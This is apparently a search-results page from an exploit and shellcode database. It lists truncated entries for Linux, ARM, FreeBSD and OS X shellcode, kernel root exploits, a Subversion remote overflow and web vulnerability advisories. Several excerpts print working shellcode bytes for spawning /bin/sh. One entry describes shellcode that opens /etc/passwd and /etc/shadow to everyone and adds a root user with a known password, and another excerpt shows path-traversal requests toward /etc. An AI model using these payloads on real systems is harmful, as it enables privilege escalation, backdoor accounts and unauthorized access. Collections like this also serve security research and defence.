810 matches found
linux/x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user) 378 Bytes
Shellcode Linux x86 378Bytes chmod777 /etc/passwd and /etc/shadow && Add new root user ALI with password ALI for ssh && Execute /bin/sh Date: 4/8/2014 Exploit Author: Ali Razmjoo Tested on: kali-linux-1.0.4-i386 3.7-trunk-686-pae 1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux / Ali Razmjoo ,...
Shellcode Linux x86 - chmod (777 /etc/passwd & /etc/shadow), Add New Root User (ALI/ALI) & Execute /
No description provided by source. / Exploit Title: Shellcode Linux x86 chmod777 /etc/passwd and /etc/shadow && Add new root user ALI with password ALI for ssh && Execute /bin/sh Date: 4/8/2014 Exploit Author: Ali Razmjoo Tested on: kali-linux-1.0.4-i386 3.7-trunk-686-pae 1 SMP Debian 3.7.2-0+kal...
Linux x86 - chmod 777 /etc/passwd & /etc/shadow, Add New Root User ALI/ALI & Execute /bin/sh
Linux x86 - chmod 777 /etc/passwd & /etc/shadow, Add New Root User ALI/ALI & Execute /bin/sh. Shellcode exploit for linux platform / Exploit Title: Shellcode Linux x86 chmod777 /etc/passwd and /etc/shadow && Add new root user ALI with password ALI for ssh && Execute /bin/sh Date: 4/8/2014 Exploit...
Linux x86 - Socket Re-use Shellcode 50 bytes
Linux x86 - Socket Re-use Shellcode 50 bytes. CVE-2014-4943. Shellcode exploit for linx86 platform / Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes Made using sockfd trick + dup20,0, dup20,1, dup20,2 + execve /bin/sh Thanks: Charles Stevenson, ipv, 3LRVS research team gcc -o...
linux/x86 execve /bin/sh toupper() evasion 55 bytes
No description provided by source. / Linux/x86 toupper evasion, standard execve /bin/sh used eg. in various imapd exploits. Goes through a loop adding 0x20 to the /bin/sh -= 0x20 string ie. yields /bin/sh after addition. / include stdio.h char c0de = / main: / \xeb\x29 / jmp callz / / start: / \x...
ARM Polymorphic execve("/bin/sh", ["/bin/sh"], NULL) Shellcode Generator
No description provided by source. / Title: Generator polymorphic shellcode on ARM architecture Date: 2010-07-07 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of shellcodes http://www.shell-storm.org/shellcode/...
linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes
No description provided by source. / Linux/x86 execve/bin/sh, /bin/sh, NULL - 25 bytes - [email protected] / char shellcode = \x31\xc0 // xor %eax, %eax \x50 // push %eax \x68\x2f\x2f\x73\x68 // push $0x68732f2f \x68\x2f\x62\x69\x6e // push $0x6e69622f \x89\xe3 // mov %esp, %ebx \x50 // push %eax...
Linux x86 - execve /bin/sh - 21 bytes
No description provided by source. / execve /bin/sh - x86/linux - 21 bytes . zeroed argv / envp [email protected] [email protected] thanks : ivan, milo, oldschool crew / int main char sc = \x6a\x0b // push byte +0xb \x58 // pop eax \x99 // cdq \x52 // push edx...
SH-HTTPD 0.3/0.4 Character Filtering Remote Information Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/8897/info A problem has been identified in the handling of some characters by sh-httpd. Because of this, an attacker may be able to gain unauthorized access to information. GET GET ../../../sh-httpd/p GET /../../etc/s GET...
linux/x86 execve /bin/sh setreuid(12,12) 50 bytes
No description provided by source. / Linux/x86 An example of setregid, execve /bin/sh I used this in practise, hence the setregid12, 12; / include stdio.h char c0de = / main: / / setregid12, 12; / \x29\xc0 / subl %eax, %eax / \xb0\x47 / movb $71, %al / \x29\xdb / subl %ebx, %ebx / / Here's the GI...
linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes
No description provided by source. / linux-x86-binshv2.c - 23 bytes Copyright c 2006 Gotfault Security [email protected] Linux/x86 execve/bin/sh, /bin/sh, NULL / char shellcode = \x6a\x0b // push $0xb \x58 // pop %eax \x99 // cltd \x52 // push %edx \x68\x2f\x2f\x73\x68 // push $0x68732f2f...
os-x/ppc execve(/bin/sh), exit() 72 bytes
No description provided by source. / MacOSX/PowerPC Shellcode for: execve/bin/sh, /bin/sh, NULL, exit 72 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include stdio.h include string.h char shellcode = \x7c\xa5\x2a\x79 \x40\x82\xff\xfd \x7d\x68\x02\xa6 \x3b\xeb\x01\x71 \x39\x40\x01\x...
Linux Kernel 2.6 < 2.6.19 - (32bit) ip_append_data() ring0 Root Exploit
No description provided by source. / 0x82-CVE-2009-2698 Linux kernel 2.6 2.6.19 32bit ipappenddata local ring0 root exploit Tested White Box 42.6.9-5.ELsmp, CentOS 4.42.6.9-42.ELsmp, CentOS 4.52.6.9-55.ELsmp, Fedora Core 42.6.11-1.1369FC4smp, Fedora Core 52.6.15-1.2054FC5, Fedora Core...
MTools 3.9.x MFormat Privilege Escalation Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9746/info It has been reported that mformat is prone to a privilege escalation vulnerability when installed as a setUID application. This issue is due to a design error allowing a user to create any arbitrary files as the...
gl-sh deaf forum <= 6.5.5 - Multiple Vulnerabilities
No description provided by source. www.BugReport.ir AmnPardaz Security Research Team Title: GL-SH Deaf Forum =6.5.5 Multiple Vulnerabilities Vendor: www.frank-karau.de Vulnerable Version: 6.5.5 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory: www.bugreport.ir/?/46 1...
linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes
No description provided by source. / Linux/x86 setuid0 + setgid0 + execve/bin/sh, /bin/sh, NULL - 37 bytes - [email protected] / char shellcode = \x6a\x17 // push $0x17 \x58 // pop %eax \x31\xdb // xor %ebx, %ebx \xcd\x80 // int $0x80 \x6a\x2e // push $0x2e \x58 // pop %eax \x53 // push %ebx...
Subversion 0.3.7/1.0.0 - Remote Buffer Overflow Exploit
No description provided by source. / hoagiesubversion.c Remote exploit against Subversion-Servers. Author: greuff [email protected] Tested on Subversion 1.0.0 and 0.37 Algorithm: This is a two-stage exploit. The first stage overflows a buffer on the stack and leaves us 60 bytes of machine code to be...
linux/x86 sys_execve("/bin/sh", "0", "0") with umask 16 (sys_umask(14)) 45 bytes
No description provided by source. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ 0 0 \ \ /\ /\ \ \ \ /\ \ \ /\ /\ \ \ \ \ \ \ / 1 1 \ \ \ \\ \ \ /\ \...
freebsd/x86-64 exec("/bin/sh") shellcode 31 bytes
No description provided by source. / | | | | | | | \ | | | | || |/ |/ | |/ / ' \ | | / | | | | | | | | | | | | | | | | || ||,|||\| || || \/||| http://www.hacknroll.com Description: FreeBSD x86-64 exec/bin/sh Shellcode - 31 bytes Authors: Maycon M. Vitali 0ut0fBound Milw0rm .:...
62 bytes setreuid(0,0) execve("/bin/sh",NULL,NULL) XOR Encoded Linux Shellcode
No description provided by source. / Author : gunslinger yudha.gunslingeratgmail.com Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian special thanks to : r0073r inj3ct0r.com, d3hydr8 darkc0de.com, ty miller projectshellcode.com, jonathan...